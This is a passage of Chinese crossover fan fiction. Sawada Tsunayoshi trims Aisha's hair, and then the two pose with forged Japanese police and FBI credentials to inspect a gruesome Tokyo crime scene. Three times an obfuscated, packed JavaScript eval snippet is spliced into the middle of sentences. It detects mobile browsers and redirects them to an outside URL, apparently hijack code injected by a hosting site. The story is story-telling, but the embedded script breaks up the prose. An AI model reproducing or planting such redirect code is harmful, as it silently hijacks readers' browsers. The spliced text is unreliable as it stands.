“这样?” “可以。”他稍稍比划一下,又不放心地补充一句“别动”。 她笑着说一句“了解”,主动把其余不需要修剪的头发都拨到了另一侧。之后干脆把头也倚在墙上,有点等待中昏昏欲睡的样子。 因为艾莎微侧着头,所以可以避开对视。这让他稍微轻松了一点。 沢田纲吉缓慢地长出一口气,以一种“修剪结束前绝不呼吸”的古怪决心俯身靠近。 她的头发都被拢到一边,白净侧颈就一览无余。 像是感知到他人靠近,袒露的要害部位自主做出反应,像一截绷紧的雪白缎子。 他竭力不去注意其余裸.露的皮肤,更加忽略丝丝缕缕钻入鼻腔的惑人香气。 网吧的剪刀很钝,或许是出于安全考虑。他换了几次角度都不得要领,只好分开刀身,用更锋利的一侧刀片去剔除残发。 只是这样就更要小心不伤到她。他犹豫片刻,稍稍抬起身体,用另一只手固定住她的脸,然后更加靠近。 修剪的过程仿佛比先前所有都要来得漫长,既像折磨又像考验。 一切都好像变成了慢镜头。他能看到焦枯发丝一根根绷紧到极致,又一根根断裂;他能听见它们崩裂的声音,和着她清浅柔软的呼吸;它们顺着她脸部的轮廓垂落,又被他收拢于掌心。 椰子的香气更加浓郁,充盈在呼吸之间。他始终不清楚气味的来源,只知道它在捣乱,让集中注意力变成一件不可能的事。 那个轻纱拂起的夜晚不可抑制地在脑海中闪现。但他同样很谨慎地让冲动停留在那里。 多年的Mafia经验在此刻派上用场。他控制着思绪,镇定地操纵刀刃,直到达成既定的目标。 最后秉着认真妥帖的精神,他又仔细观察一下,确定没有任何焦枯发丝遗漏。 浩大工程就此完成,心里像一块大石头落了地。如释重负,但仍然沉甸甸的。 他刚要撤开身体,却在不经意间瞥见镜中光景: 此刻他们都缩在角落,艾莎只露出了一小片背影。而他明明站在她身前,却因为角度问题而更像靠在她身上。 她被困在小小的空间里:墙壁、洗手台…还有他。避无可避。像正被他压在角落里欺负。 ……把她…压在角落里欺负。 沢田纲吉脑中一片空白。他只花了一瞬便按捺住想法。其实也无须按捺,因为只是臆想。本能但违背了本性。 他将视线从镜面移开,重新落回到她身上。 洗浴过后的皮肤比平常敏感。尽管已经小心控制了力道,但是刚才手指压着的地方还是出现几点痕迹,淡淡的泛红,一点点向下,直到消失在侧颈。 侧颈仍然纯白无暇。 他的喉结滚动一下;内心有点绝望,分不清此刻究竟是欲望死灰复燃,还是仅仅是冲动的余韵。 “纲吉君,”女孩在这时突然出声,“好了么?” 被她的声音拉回现实,沢田立即退开两步,“好了。” “诶,好快!” …是与他实际感受完全相反的感慨。 他没对这个做出回应,只是默默将手中发丝递到她面前。但她也没有伸手去接,反而更加凑近了一点,饶有兴致地观察着他掌心的断发。之后还伸出手,拣起其中一根小心地捏了一下。 温热指尖若有若无地触碰掌心,泛起一阵酥麻。 沢田纲吉直觉气氛又有些不妙,刚想说点什么,就与艾莎对上了视线。 她似乎也是正想和他说什么,但又望着他愣了愣,冰蓝色的眼眸中突然闪过笑意: “纲吉君,你头发没擦干。” 诶? 沢田纲吉还没来得及做出反应,她已经很自然地伸出手,轻巧地撩了撩他的额发。 撩拨时带出点点水泽,凉凉地溅到皮肤上。随着手指靠近,椰香再度浮散。他在朦胧惶惑间意识到,原来这香气不是香波的味道。 做完以后,她带着点“求夸赞”的小骄傲看他,却又在真正接触到他的眼神后怔住。 沢田纲吉猜测自己现在的表情一定很糟糕。 不能再继续和她对视。 直觉先一步发出示警。他看到她眼中的愣怔正化为探究,知道再这样下去,她一定会察觉出端倪。 不能再被她这么看着。收敛表情,或者做点什么。 脑中警报一层层拉响。他出奇慌乱,理性被挤压得无处可去。最后头脑里只剩一个念头。 做点什么。 -- 再度被搂住的时候,艾莎有点懵。 或许也不能算作搂抱,这个姿势远不如他们之前有过的亲密。沢田单手环着她,动作介乎于支撑着让她保持平衡和制住她不让她乱动之间。 而她单手揪着他的衣角。当他俯身靠过来的时候,她差点就要凭一些肌肉记忆搂住他的腰。但因察觉到不对,所以在中途堪堪停留在了T-恤下摆。 他的身体很僵,并且。艾莎敏锐地感知到——正有越来越僵硬的趋势。 “…纲吉君,你老实告诉我,”她沉默了一会儿,仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658840|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促整理完思绪后严肃开口。 “你是不是给我剪出了一个特别奇怪的鬓角?” 沢田纲吉:“…………” 他很明显的梗了一下,过了一小会儿声音才从她脑后传来,听上去有点闷闷的。 “…女孩子不可能会被剃出鬓角吧?” “怎么不可能了,毛发旺盛的基因又不分男女。纲吉君你有点大男子主义喔?”她用力拽拽他的衣服下摆,“那…是斑秃那种?” “没有。” “…又烧焦了一点?”她继续猜测。 “不是。”沢田纲吉坚决否定了。顿了顿,又忍不住问她,“为什么这么想?” “因为…”艾莎犹豫一下,还是决定实话实说。 “总觉得纲吉君散发出一种‘把一切都搞砸了’的颓废气场诶。” 被喜欢的人主动搂住什么的,她也很想浮想联翩。可哪有人会突然在水池旁边表达亲近啊,而且、而且靠过来的时候还一脸恐慌,她的第一反应是他在帮她挡子弹,只差一点点就要动用言灵防御了。 真是的……这可是减分项喔纲吉君。她边想边继续愤愤拽他衣角。 “嗯。”沉默一下后,他突然苦笑道,“我大概真的把一切都搞砸了。” 在她往“爆炸头河童头”的方向越行越远的时候,他又仓促补充一句。 “…刚刚发现有几根烧焦的头发没剪掉。” “喔……那也不算搞砸嘛。”艾莎顿时松了口气,边纳闷他什么时候变成了完美主义者边嘴上安慰。 “再把那几根剪掉就行了,”她忽然反应过来,“所以纲吉君突然靠过来也是为了这个么?” 他又沉默了。 “……嗯。”过了一会儿他低低道,“你别动。” 这是今晚他第三次这么说,可语气又与前两次不同。 她没再说话,心里突然意识到这其实还是一个拥抱。于是她试探性地松开衣摆,轻轻环住了他的腰。 她感到他的心跳一下子变得更快,失控的韵律一下下敲打,让人有点脸红。 “不止这个,”沢田这时道,“我还搞砸了其他事。” “什么事?” “…不可以告诉艾莎。” 喔……不可以告诉她的事。 她心头突然浮现雀跃,连带着嘴角也跟着一起上扬。 “一直都不能告诉我么?” “…嗯,一直不能告诉。” 上扬的嘴角一下拉平。 说不定早就知道了……她这么腹诽着,手却轻柔地抚了抚他的背。 实际感受的话,会觉得沢田比看上去更瘦。明明个头算是高的,战斗力也是数一数二,可脊骨固执单薄,像是支撑着很多很沉重的东西。 “好吧好吧,那就不告诉我。” 但如果是她自己发现就另当别论。 她悄悄在心里补充一句。 “那…如果这件事只有纲吉君知道的话,不就相当于不存在么?” 听到这句,他突然又把她搂紧了一点。 “不是这样的。”沢田纲吉闷闷道,“是不可以搞砸的事情。” “不可以搞砸的事?” “绝对不能搞砸的事。” “但现在搞砸了?” “搞砸了。” “这算什么,绕口令么……”她突然笑起来,脑袋在他怀里不安分地动了动,“嗯……那就搞砸吧。搞砸就搞砸咯。” 她这么说道。 沢田没出声。 “纲吉君以前还说自己是废柴嘞。可废柴最擅长的不就是搞砸所有事么,才不会因为区区一件就这么意志消沉。你还有得学嘞。”艾莎拍拍他的背。 “这算怎么说……”他忍不住叹了口气,心说哪有用这种方式鼓励人的,此情此景你究竟是个什么立场,废柴学院的废柴前辈么? “因为我就是废柴嘛。”她坦率地承认了,“每天都在搞砸事情。实不相瞒,刚才就又搞砸了一件。” 明明打定主意,要以朋友模式和沢田相处。可现在待在他怀里,其实还是越界了吧。 可他有这么好这么好。才不想只和他当朋友嘞。 她赌气般又往他怀里拱了拱。他没说什么,无奈地把手臂张开一点,让她找到一个更舒服的姿势窝下。 “但是搞砸也不要紧。搞砸了还可以补救,补救不了还可以找其他废柴帮忙。再不行还可以摆烂啊。逃避可耻但有用么,这种事在废柴之间早就见怪不怪了。”她顿了顿,道,“纲吉君没听过这句话么,废柴不嫌弃废柴。” 他还是一言不发,但是心跳渐渐平稳,身体也慢慢松弛。 “怎么样,现在有没有好一点?” 他结合实际情况想了想,然后道:“…感觉好像更悲惨了。” “诶——”艾莎发出惨然喟叹。 “没办法,我真的不擅长安慰人嘛……”她小声嘀咕。 “好了好了,放开我啦纲吉君,”艾莎又拍拍他,“好像有人过来了。我们回去休息好不好?” 对此,沢田纲吉并不怎么情愿。又过一会儿,他自己也听见了渐近的脚步声,感到理性正在复苏,缱绻的一刻终将流逝。 趁着理智与情感交替的短暂一瞬,他微微偏过了头,任由呼吸最后一次被幽幽浮动的椰子香气吞没。 偶然一般,嘴唇轻轻擦过发丝,就像一个无人知晓的吻。 82. 第77章 机搜 “你们睡了对吧?” 大师兄眯起眼睛盯他们,语不惊人死不休。 闻言,沢田纲吉一口咖啡闷在了喉咙里,艾莎呛出一点薯片残渣。 “啥——没有!”她拿眼睛瞪大师兄。 大师兄抓抓头。 “不是‘睡了’,”他一脸纯良地说,“我是说‘睡——了’。休息得怎么样,你们到底‘睡——了’没有?” 他把“slept”中间的“e”拉得老长。艾莎反应过来他的意思,又听见身旁沢田隐忍的咳嗽声。她不好意思转头,只虚张声势道: “当、当然睡了啊!睡得可香了!精神焕发龙虎精神好么!” …其实根本没睡着。出于某种奇妙的默契,他们进了个室后就没怎么说话,连对视都很少。就这样刻意回避着视线、背对着背侧身躺下。 中间的小插曲是发现只有一床毯子——沢田原本想让给她的,但被她不由分说一起盖上。 然而直等到真正关了灯睡下,她才察觉出不妙:薄薄的毯子覆盖在身上,又柔软地延伸至另一端,于是一举一动都好像彼此牵连。 身后是沢田绵长的呼吸,背部隐隐传来温热触感…… 然后她就连稍微动一动都不敢了,只能盯着光秃秃的墙面看了一会儿,最后强行摒除杂念闭目养神。 不过这只是她的情况,纲吉君应该还是睡着了的吧…… “你要不先看看你们俩的黑眼圈再说话,”大师兄睁着双死鱼眼很不留情面,“你们现在是还年轻,但也经不住这样折腾啊……” 他的语气无比正经沉痛。 艾莎恨不得把他的嘴给缝上。 “行了行了说正事——昨晚樱井七海真的遇袭了么?” 她抢先大师兄一步,硬生生把话题给拽了回来。 “准确地说,是今天凌晨的事。”大师兄纠正道,“现在蛇岐八家内部可是乱成一锅粥——也不晓得从哪儿冒出来一大帮主战派,咬定大家长遇刺是秘党做的手脚。虽说两军交战不斩来使,但为了‘大义’怎么着也得把校董会派来的那个什么安德鲁宰了祭旗……” 两大势力间的波云诡谲被他说得好像村头打架。看他两根耷拉的眉毛各自飞舞,充满了那种看热闹不嫌事大的快乐。 沢田纲吉不由侧目,总觉得这个人好像时刻准备着跳进战局两边拱火…… 他强行按捺下脑中的诡异想法,正经开口以正画风: “听上去,蛇岐八家好像并不在意Theseus-44号的去向?”这与源稚女先前给出的情报相悖。 艾莎的大师兄看他一眼,然后耸了耸肩。 “何止。他们连樱井七海是死是活都不关心,只想着脚踩校董会干翻学院…至少表面上是这样。” 沢田纲吉默默颔首。一切情报都具备时效性,首领遇刺外敌当前,如果家族内部还有人刻意引导,决策重心骤然转移也不是没有可能。 尽管仍然感到有哪里不对,但他一时抓不到头绪,就没表现出来。 “这么一想,袭击樱井七海的果然是蛇岐八家内部的人?”艾莎说,“我要是拿到那玩意儿肯定也不声张,最好随便瞎说一通,把所有人的视线都转移到其它地方。” “嚯,小师妹你学坏了啊,声东击西都会了!不过也不好说,”大师兄舔舔唇,“一般这种别有目的埋伏在组织里的都是黑出汁的老油条,平时不显山不露水人畜无害的,事态不发展到一定地步都冒不出尖儿来。” 沢田纲吉听了再度侧目。内心冒出一股奇妙直觉,总觉得这个人平时不显山不露水黑出汁的老油条…… “总之,樱井七海遇袭这事确实有蹊跷。我建议兵分两路,”大师兄说,“我继续帮你们盯着蛇岐八家和校董会的动向。你们先去樱井七海遇袭的地点看看,能不能找到什么线索。” 艾莎一愣,“这都几个小时了,现场不都早该被处理干净了?” 蛇岐八家毕竟最早得到消息。她原本以为接下来的任务会是以此作为切入点,比如潜入源氏重工什么的。 “这就是这件事的蹊跷之一,”大师兄边说边俯下身,从椅子下面掏着什么。 “第一个赶到现场的并不是蛇岐八家,他们也是被通知的一方。所以事发地点最大限度地保存了原貌。” “什么意思?”艾莎皱眉。沢田纲吉倒是额角一跳,直觉出一点不祥来。 只见艾莎的大师兄从座椅下扒拉出两个白色手提袋,一脸正直地递了过来。 “一人一个,男左女右,别拿错啊。” “……” 他们对视一眼,各自接过了袋子。 艾莎低头一看,把其中最大件的东西扯出来一半——是一件材质硬挺的黑色长风衣。 胸口处的口袋沉甸甸的,她伸手一掏,拿出来一本黑色证件,其上明晃晃的三个蓝色字母,旁边刻着天平与月桂。 “…等等!大师兄你的意思不会是……!”她突然反应过来,又立即看向沢田。 ——他手上多了好几张打印好的资料,此刻正对着它们嘴角抽搐。 怎么说这也太…… 沢田纲吉匆匆翻阅一下资料,心里对接下来的事有了猜测。 但他还没来得及说什么,前方突然一声暴喝: “——来来来小师妹夫,给我一个严肃的表情!” 他下意识抬头,眼前一道刺目白光炸开。 等沢田反应过来的时候,艾莎的大师兄已经收好了不知道从哪儿摸出来的相机,并将其连接到了电脑上。 其速度之快动作之熟稔表情之狰狞,沢田纲吉三度侧目,怀疑这人以前是不是当过狗仔…… “这样真的没问题么大师兄……”艾莎眼神死地看他抄着鼠标在电脑上熟练p图。 她是已经习惯执行部的各种离谱操作了,但是…… 想着她就偷偷觑了身旁的沢田纲吉一眼;结果发现他已在重新翻阅手上资料,表情认真,一副争分夺秒高效运转的样子。 艾莎:“……”你为什么这么快就适应了状况啊喂! “有什么问题能有什么问题?”大师兄同样头也不抬。他已经飞速p好了图打好了印,此刻正抄出另一本黑色皮夹开始另一番精细操作。 “放心,论造假能力我是专业的!再说了这事败露顶多也就落个通缉,咱小师妹夫好歹也是见过大风大浪的人,能怕区区通缉么?” “不,被通缉什么的,如果可以我还是想尽量避免的。”沢田纲吉说,“不过我同意…” 他顿了顿,突然想到至今还不知道艾莎的大师兄的名字。他微微犹豫一下,接着道: “…我同意‘大师兄’的计划。虽然的确冒险,但成功概率很大。只要小心一点,即使失败也能有所收获。” 说完,他又看看艾莎,温声道: “虽然蛇岐八家暂时转移了注意,但秘党的目标仍然没有改变吧?一直找不到Theseus-44号,那边或许会迁怒你……这件事还是越早结束越好。” 艾莎听得目瞪口呆——平时一副那么沉稳的样子没想到也有这么不管不顾的一面啊你! 大师兄同样目露讶异:“我小师妹夫上道啊,还是说这事儿在你们那儿也挺寻常的?” “…不,我想就算是mafia也不会——这种事到哪里都不算寻常吧?”或者说放到哪里都是重罪。 沢田露出一个无奈的笑来。 他再次错过了纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658841|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正“小师妹夫”这个诡异称呼的时机,直觉告诉他现在和艾莎的大师兄理论这个不是什么好主意…… 仿佛洞察了他的想法般,铁灰色头发的男人将手上的东西递过来,又顺势拍拍他的肩膀,朝他咧嘴一笑: “——欢迎来到混血种的世界。” -- 东京墨田区 鉴识课的人提着白桶与工具箱,里里外外匆忙往返,每个人的表情都很凝重。 犬养与猫泽勘察完了周边,心知这时候返回现场反而碍手碍脚,于是双双站在警戒黄线边上,从巷口眺望着外面的世界。 现在是凌晨时分,整个城市都还睡着。周围警车静静闪着刺目的红蓝光芒,从光芒间隙能隐约看见隔街爱情旅馆的霓虹招牌。 天边弦月微隐。更远处矗立着东京天空树,城市的新地标建筑。 “本来以为是普通的交通事故,没想到中大奖了啊猫泽前辈。”犬养默默吐出一口烟。 “偏偏是被所有人遗忘的街道,没有目击证人,唯一的摄像头被破坏了个彻底。还有损害到那种程度的尸体,唯一的幸存者是一看就很了不得的□□大姐头……这算什么,情杀?还是什么名侦探柯南·世界奇妙物语版?” “不要用卡通片来形容命案。”猫泽一板一眼地答道。 “哈?什么卡通片,现在都说anime——a、n、i、m、e好么?”犬养说,“而且比警视厅的宣传手册有用多了,听说吸引了不少年轻人报考警校喔?” “你也是么?”猫泽斜睨他一眼。 “不,我是《相棒》派的!”犬养元气满满地答道,“男人的热血果然还是《相棒》!” 猫泽:“……”所以说是因为电视剧啊!? 虽说是闲聊,但两个人的脸色都微微发白,远不如语气轻松。他们二人隶属于警视厅刑事部第四机动搜查队*,是案件的第一发现者。 “上个月的‘刺猬新郎’案件到现在还没有进展,今天又出现这种案子,一课的人要焦头烂额了吧?” “说不定是连环案件呢?”犬养冷哼一声,故意阴阳怪气,“那样就是大功一件咯?” “…你这样想么?”猫泽一愣,认真地看向他。 他的这位搭档对案件有股天然直觉,看上去经常是随口胡说,但往往能击中要害。 连环凶杀案……但是怎么可能?猫泽不由陷入沉思。 虽说两起案子都极端残暴离奇,但杀人手法完全不同,地点和时间也天差地别,这不符合连环杀手的侧写。 突然,身旁传来犬养低低的提醒:“前辈,有人过来了。” 猫泽抬起头,看到街头正有两道人影一前一后的接近,都穿着硬挺的长风衣,脚步笃定,看来不像是误入的一般民众。 出于一种警察的天然直觉,猫泽暗暗提高了警惕。 “喂,停步!前面是临时封锁区,警方办案,暂时禁止通行。” 犬养高声道。 话是没说错……但这个语气你是什么□□讨债成员么?猫泽默默吐槽,等待那两人走到近前。 “是机搜的猫泽さん和犬养さん么?”走在前面的褐发青年主动问道。他脸上挂着淡淡的温和笑意,让人不由心生亲近。 略微落后他一步的是名年轻女性,仔细看居然是名外籍人士,此时朝他们微微颔首,满脸写着“我不懂日语不要和我交流”。 两个人都是身材高挑、相貌出众的类型,但同时也都挂着厚厚的黑眼圈,显得憔悴疲惫。 猫泽点点头,无声探问对方身份。 “公安部未详课*,敝姓沢田。”褐发青年很懂行地从风衣侧袋掏出证件。 “初次见面,还请多多关照。” 83. 第78章 案发现场 “未详…诶,那个传说中的‘未详课’么!?”犬养不由发出惊呼。 猫泽眼眶同样微微放大。只要是警视厅的人,或多或少都听说过“未详课”的大名。 隶属于公安部,全称“未详事件特别对策课”。平时不参与查案,其成员作风极其神秘。 有传言说他们负责的是难以用科学解释的案件,也就是俗称的超能力作案。当然更被大家相信的版本是那里聚集了一群上头塞进来的关系户…… 不过看看一副精英派头的沢田,再联想到身后的案发现场,犬养突然觉得超能力犯案说不定才是更合理的解释。 猫泽接过证件扫了一眼:看起来年纪轻轻,居然已经是警部补了,这让他稍微有点吃惊。 “…这位是?”他将目光投向稍微落后褐发青年一步的女人。 “这位是FBI的ElizabethAnjou探员,本次与我协同查案。” ElizabethAnjou探员同样正儿八经掏出证件,FBI三个大写蓝色字母明晃晃地从二人眼前掠过。 犬养带着点好奇接过,并大喇喇地冲这位外国探员咧嘴笑了笑。后者一愣,也对他浅浅微笑了一下。 猫泽没多理会这两人的互动,而是重新看向沢田。 国际合作本就不寻常。警察的直觉告诉他有哪里不对,不能轻易放这两人过去。 “未详课啊…说起来,野野村前辈最近还好么?自从他从一课平调后就久疏问候了。”他冷不丁问道。 “如果说的是野野村前课长的话,他两年前就已经退休了。现任课长应该是当麻前辈才对。”沢田看了犬养一眼,脸上笑容不变。 “多余的试探就到此为止如何?这是关于本次合作的文书。” 他又递上另一份浅蓝色底的硬质纸文件,上面盖着三个大章,刑事部长与公安部长的大名赫然在列。另外还有一个龙飞凤舞的英文签名,估计是FBI那边的相关方。 头一回见到这么正式的文书。一旁的犬养不由低声发出了感叹。 “猫泽さん如果还有什么疑虑,也可以现在就致电刑事部长进行确认。”沢田适时地补充道。 “…没这个必要。”猫泽说。他的语气软了不少。“也就是说,本次案件不通过搜查一课,而是直接交接给未详课么?” “不,我们在追查的是一宗机密案件。暂时还不能确定两者间存在关联。”褐发青年神情一敛。 “机搜的流程可以正常进行。届时若有必要,我方会直接向搜查一课发起交接。但在此之前,我们还是需要先看看现场——” “——并且还要屏退其余闲杂人等,对吧?”猫泽冷不丁接道。 他以前在一课的时候就听说过,未详课一脉相承的神秘作风。又或者说装神弄鬼,有人说那个部门里的警察也都是超能力者,发动能力的时候周围的一切物体都会飘起来。 “…我不认为机搜与鉴识课的各位是‘闲杂人等’。”沢田沉默一下后说道。 “不过要是能争取到五分钟左右的时间,就再好不过了。”他温和地说。 -- 啊……竟然真的成功混进来了。 他们越过了警戒黄线,开始戴手套穿鞋套。 保险起见,艾莎还是维持着一本正经的扑克脸,与沢田交换眼神的时候也没有表露出丝毫喜悦。 然而在耳机里待命的大师兄就没那么多顾虑了。 “当然能成功了!且不说咱小师妹夫出色的伪装和谈判技巧……” 她耳朵一烫,决定回去就严正要求大师兄停止这个窘了巴叽的称呼。 “……就说那份文书,按真货1:1仿的,别说他们基层警察了,就是刑事部长本人看了那也得怀疑自己是不是失忆……”耳机里不停传来大师兄“咔哧咔哧”吃东西的声音。 艾莎有点纳闷,心说大师兄你为什么一副在日本警视厅卧底许久的样子?你毕业以后去的不是古巴分部么! “喔,问我怎么知道他们日本警视厅的路数?”大师兄贱兮兮地,“以前在北极认识的日本妹子,一起砍过死侍的交情!她在日本外务省有些关系——” 他语气浮夸,攀关系的过程说书似的跌宕起伏;七分假里掺了三分真,说得滴水不漏。 耳机是三方连通,沢田纲吉也跟着默默听了半晌;眼中有若有所思的神色一闪而过。 然而当猫泽带着他们朝案发现场行进、并说起案件的基本情况时,看见的便又是一个心无旁骛的沢田警官了。 “……这附近没有监控,暂时也没找到目击者。幸存者一名,已送往医院急救,目前还在昏迷当中,这是她的基本资料。” 猫泽递来一个小小的ipad,并微微压低了声音,“是在‘内部’留了档的‘大鱼’,这案子或许和黑.道有关。” 说完他停顿一下,仔细端详起沢田的神色,想从他的表情变化中获得一些信息。 但沢田纲吉只是礼貌地道了一声“失礼了”,然后径直接过了ipad。 映入眼帘的是樱井七海的户籍资料,右上方还附了一张证件照:上面的女人笑容得体优雅,看起来温温柔柔的,像是那种家庭很美满的中年贵妇人。 沢田纲吉立即将她与昨晚拍卖会上的40号客人对上了号。 与此同时,他也回想起艾莎的大师兄在得知他和樱井可能打过照面后,翻找出来供他比对的相片。 那张应该是偷拍。照片里的樱井七海背脊挺直,发髻高梳,一身深紫色和服,反手提刀站在队列之首;同样能看出已不算年轻,但眉眼间有种孤艳凛冽的味道。 那是与40号客人截然不同的气质。即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658842|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便长相一样,一眼也很难断定是同一个人。 两张相片,很难说哪个才是樱井七海真正的一面。 他收敛神思,假装没注意到猫泽的探究视线,公事公办地将刚才获取到的情报翻译了给艾莎。 后者煞有介事地点了点头,向着猫泽道,“andthevictim?” 被用外语直接提问,猫泽一瞬间露出了挣扎神情,像在犹豫要不要也回以英语。 但最终,他还是一板一眼地说道,“很遗憾,尸体的损害程度过于严重,暂时无法确认身份…以及死亡人数。” 艾莎与沢田都注意到了他的最后一句话,于是不着痕迹地对视一眼。 “现场的两辆汽车分别登记在‘樱井七海’与‘六沼雅人’名下……我们在现场找到了六沼的手机。”说着,像是回想起了什么场景,猫泽脸上隐隐泛出青白色。 “剩下的…你们自己看吧。” 他停下了脚步。 在他身后十步远的地方,两辆相撞的汽车在刺目的探照灯下沉默对峙。引擎盖里还在飞出滚滚白雾,遮掩住了围在车门口鉴识课人员的身影。 突然,其中一道身影转身挤开同事,朝着他们的方向一路小跑。 沢田纲吉原本以为他是要来询问什么,谁知对方对他们视若无睹,只继续跑到不碍事的角落,然后开始拼命干呕。 在他经过的时候,一阵浓郁的血腥味扑面而来。 沢田的指尖突然本能地抖了抖,一瞬间只觉感应到某种极为邪恶的气息,扭曲翻腾,正从半开的车门处源源不断地散发出来。 他立即挡在了艾莎前面,这完全是种下意识的反应。然而,女孩很快就又站到他身前,神情凝重地盯着车门的方向。 原本还在滔滔不绝的大师兄似乎感应到了情况不对(虽然不清楚他是如何做到的),于是也放缓了语速,丈二和尚摸不着头脑的样子。 “怎么了,是看到尸体了么?” 看到了。 他们不约而同地在心里说道。 那名工作人员的离开将人群撕开一道口子。刚刚有风吹过,恰好将滚滚白雾稀释成若有若无的白烟。 ——怪不得会说尸体损害程度严重,甚至无法确认死亡人数。 红色保时捷的驾驶座上堆满了黏稠滑腻的半固体,多余部分正顺着半开的车门缓缓向外滴流。 …如果这真的还能被称之为是‘尸体’的话。 鉴识课的人正拿着抽管一样的设备,不断将这些半固体抽吸进白色的塑料桶里。 液体不断喷溅到塑料桶边缘,抽管发出的声音“咕噜咕噜”歇斯底里,有点像喝奶昔时无论怎么尝试都永远吸不上来的最后一口。 艾莎觉得自己以后永远都不想碰奶昔了。 ——那根本只是一滩肉泥而已。 84. 第79章 争执 在进行一番沟通后,鉴识课坚持要先回收完尸体。 对此艾莎和沢田都没意见:尸体被损毁到如此地步,根本不存在凭肉眼判断细节的余地。 很快,鉴识课的警察收拾好工具、经过他们往外走去。大部分人的神情都很麻木,见识完那样的场景,生命好像在突然间变成了一种很陌生的东西。 “这也是‘言灵’的效果么?” 等到现场只剩下他们两个人的时候,望着被基本清理干净的驾驶座,沢田纲吉低声问道。 “…不一定,”艾莎沉默一会儿才道,“确实有言灵能把肉身破坏到那种程度,很多都可以。但释放言灵意味着施放‘领域’——嗯、纲吉君可以简单粗暴地理解为游戏里的aoe技能——” “也就是说,作用对象会是范围内的多个?”沢田纲吉很快就跟上了她的思路。 “没错。比如强化重力场的言灵,它的施放可以直接碾碎人的血管与骨骼,可同时也必然影响到周遭环境,譬如地面的塌陷。”艾莎望着完好无损的车身与座椅。 “再比如引发爆炸的言灵,混血种很难进行精准控制,在装有汽油的车辆里引发一场只针对特定目标的爆炸是不可能的事情。” “怎么说呢……仔细想的话,言灵与【】的运作原理不太一样、又或者说截然相反。”她指指耳机,然后用嘴型对他比出‘死气之火’四个字。 “——如果说后者是直接无视物理规则、凌驾于其上的超能力,那么前者就是在承认物理的基础上、对其进行否决与修改的能力。” 这样看来,并不能想当然地将言灵与死气之火视作两种相似的力量体系。 沢田纲吉心里微微一动,正若有所思,耳机里艾莎的大师兄又突然补充道: “那要说能完美达到这现场效果的言灵,岂不就是小师妹你的无尘之地——” “大师兄你别闹好么,”艾莎皱眉,“无尘之地是防御类的言灵,想要用出这种血腥的效果,除非是次代种往上的纯血龙族,或者深度爆血的混血种——” 说到一半,她仿佛意识到了什么,猛地住了嘴。可这时褐发青年已经顺势问出来了: “什么是‘爆血’?” 他的神情好奇中又带着点了然,好像已经从她的心虚反应中猜到了一些端倪。 “一种伤敌一千损八百的强化技能啦,可以短暂地提升血统和言灵效果。虽说副作用一大堆,用多了还会折寿,但也有用过一次就会上瘾的说法。哪个混血种可以拒绝血统纯化带来的力量攀升呢。” 大师兄替她解释道,语气随意,又有点暗戳戳地。 “说起来,小师妹你去年在北美爆到几度来着?” 艾莎顿时一窒,心说大师兄你和源稚女那厮是提前通好了气么,怎么一个两个轮番在沢田面前揭她的黑历史……而且什么叫用过一次就上瘾用多了就折寿?有必要用这种叫人不安的说法么? “…二度吧,那时候,”她心里疑窦丛生,轻吐出一口气,刻意回避了身边人的目光,“但我也用不出这种效果。运转到极致的无尘之地确实可以粉碎□□,但尸体会被气流切得一块一块飞出去,不会像这样聚集在一起。” 她眼帘低垂,几乎是平淡地描述了自身言灵的杀伤力。这样的姿态在一瞬间令沢田纲吉感到有些陌生,是此前她鲜少在他面前展露的、混血种森严冷酷的一面。 “不管怎么说,现场搞得这么惨烈,是死侍干的没跑咯。”艾莎的大师兄轻飘飘地说,“对了、小师妹夫知道什么是死侍么?” “是…被龙血异化、丧失了神智的混血种,对么?”沢田纲吉道,视线还是停留在女孩紧张心虚的侧脸。记得一年前决定营救雅纪的时候,她曾这么提起过。 “差不多,强化血统超过一定界限,龙族基因就会对人产生不可逆的侵占。简单说就是暗黑版的混血种。”大师兄说,“在表世界通常表现为情节极其恶劣的连环变态杀人犯。你听说过五年前纽约的医院连环剖婴案么?” “我记得,最后凶手被发现时已经死了。”沢田低声说。 他之所以会对这个案子印象深刻,是因为阿武当时就在纽约,回本部时也曾与他在闲谈时提起。 ——凶手的死状异常惨烈,血溅了医院的半堵墙。阿武评价动手的是个凶暴的家伙,刀法大概不逊于他。 当时看着自家雨守毫无破绽的笑脸,沢田纲吉差点就以为他是在暗示这事是他顺手替天行道…… 